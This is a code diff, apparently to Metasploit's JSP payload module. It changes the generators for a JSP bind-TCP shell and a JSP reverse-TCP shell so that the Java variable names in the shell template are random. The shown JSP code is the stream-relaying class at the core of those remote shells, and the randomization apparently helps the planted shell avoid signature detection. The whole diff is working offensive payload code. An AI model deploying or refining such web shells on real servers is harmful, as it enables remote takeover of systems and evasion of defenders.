@@ -22,6 +22,19 @@ def initialize(info = {})
22
22
# @return [String] jsp code that executes bind TCP payload
23
23
def jsp_bind_tcp
24
24
# Modified from: http://www.security.org.sg/code/jspreverse.html
25
+
26
+ var_is = Rex ::Text . rand_text_alpha_lower ( 2 )
27
+ var_os = Rex ::Text . rand_text_alpha_lower ( 2 )
28
+ var_in = Rex ::Text . rand_text_alpha_lower ( 2 )
29
+ var_out = Rex ::Text . rand_text_alpha_lower ( 3 )
30
+
31
+ # The 'out' name variable can cause conflicts
32
+ # when compiling the JSP under Tomcat with the
33
+ # JASPER engine
34
+ while var_out == 'out'
35
+ var_out = Rex ::Text . rand_text_alpha_lower ( 3 )
36
+ end
37
+
25
38
jsp = <<-EOS
26
39
<%@page import="java.lang.*"%>
27
40
<%@page import="java.util.*"%>
@@ -31,37 +44,37 @@ def jsp_bind_tcp
31
44
<%
32
45
class StreamConnector extends Thread
33
46
{
34
- InputStream is ;
35
- OutputStream os ;
47
+ InputStream #{ var_is } ;
48
+ OutputStream #{ var_os } ;
36
49
37
- StreamConnector( InputStream is , OutputStream os )
50
+ StreamConnector( InputStream #{ var_is } , OutputStream #{ var_os } )
38
51
{
39
- this.is = is ;
40
- this.os = os ;
52
+ this.#{ var_is } = #{ var_is } ;
53
+ this.#{ var_os } = #{ var_os } ;
41
54
}
42
55
43
56
public void run()
44
57
{
45
- BufferedReader in = null;
46
- BufferedWriter out = null;
58
+ BufferedReader #{ var_in } = null;
59
+ BufferedWriter #{ var_out } = null;
47
60
try
48
61
{
49
- in = new BufferedReader( new InputStreamReader( this.is ) );
50
- out = new BufferedWriter( new OutputStreamWriter( this.os ) );
62
+ #{ var_in } = new BufferedReader( new InputStreamReader( this.#{ var_is } ) );
63
+ #{ var_out } = new BufferedWriter( new OutputStreamWriter( this.#{ var_os } ) );
51
64
char buffer[] = new char[8192];
52
65
int length;
53
- while( ( length = in .read( buffer, 0, buffer.length ) ) > 0 )
66
+ while( ( length = #{ var_in } .read( buffer, 0, buffer.length ) ) > 0 )
54
67
{
55
- out .write( buffer, 0, length );
56
- out .flush();
68
+ #{ var_out } .write( buffer, 0, length );
69
+ #{ var_out } .flush();
57
70
}
58
71
} catch( Exception e ){}
59
72
try
60
73
{
61
- if( in != null )
62
- in .close();
63
- if( out != null )
64
- out .close();
74
+ if( #{ var_in } != null )
75
+ #{ var_in } .close();
76
+ if( #{ var_out } != null )
77
+ #{ var_out } .close();
65
78
} catch( Exception e ){}
66
79
}
67
80
}
@@ -87,6 +100,19 @@ class StreamConnector extends Thread
87
100
# @return [String] jsp code that executes reverse TCP payload
88
101
def jsp_reverse_tcp
89
102
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
103
+
104
+ var_is = Rex ::Text . rand_text_alpha_lower ( 2 )
105
+ var_os = Rex ::Text . rand_text_alpha_lower ( 2 )
106
+ var_in = Rex ::Text . rand_text_alpha_lower ( 2 )
107
+ var_out = Rex ::Text . rand_text_alpha_lower ( 3 )
108
+
109
+ # The 'out' name variable can cause conflicts
110
+ # when compiling the JSP under Tomcat with the
111
+ # JASPER engine
112
+ while var_out == 'out'
113
+ var_out = Rex ::Text . rand_text_alpha_lower ( 3 )
114
+ end
115
+
90
116
jsp = <<-EOS
91
117
<%@page import="java.lang.*"%>
92
118
<%@page import="java.util.*"%>
@@ -96,37 +122,37 @@ def jsp_reverse_tcp
96
122
<%
97
123
class StreamConnector extends Thread
98
124
{
99
- InputStream is ;
100
- OutputStream os ;
125
+ InputStream #{ var_is } ;
126
+ OutputStream #{ var_os } ;
101
127
102
- StreamConnector( InputStream is , OutputStream os )
128
+ StreamConnector( InputStream #{ var_is } , OutputStream #{ var_os } )
103
129
{
104
- this.is = is ;
105
- this.os = os ;
130
+ this.#{ var_is } = #{ var_is } ;
131
+ this.#{ var_os } = #{ var_os } ;
106
132
}
107
133
108
134
public void run()
109
135
{
110
- BufferedReader in = null;
111
- BufferedWriter out = null;
136
+ BufferedReader #{ var_in } = null;
137
+ BufferedWriter #{ var_out } = null;
112
138
try
113
139
{
114
- in = new BufferedReader( new InputStreamReader( this.is ) );
115
- out = new BufferedWriter( new OutputStreamWriter( this.os ) );
140
+ #{ var_in } = new BufferedReader( new InputStreamReader( this.#{ var_is } ) );
141
+ #{ var_out } = new BufferedWriter( new OutputStreamWriter( this.#{ var_os } ) );
116
142
char buffer[] = new char[8192];
117
143
int length;
118
- while( ( length = in .read( buffer, 0, buffer.length ) ) > 0 )
144
+ while( ( length = #{ var_in } .read( buffer, 0, buffer.length ) ) > 0 )
119
145
{
120
- out .write( buffer, 0, length );
121
- out .flush();
146
+ #{ var_out } .write( buffer, 0, length );
147
+ #{ var_out } .flush();
122
148
}
123
149
} catch( Exception e ){}
124
150
try
125
151
{
126
- if( in != null )
127
- in .close();
128
- if( out != null )
129
- out .close();
152
+ if( #{ var_in } != null )
153
+ #{ var_in } .close();
154
+ if( #{ var_out } != null )
155
+ #{ var_out } .close();
130
156
} catch( Exception e ){}
131
157
}
132
158
}
0 commit comments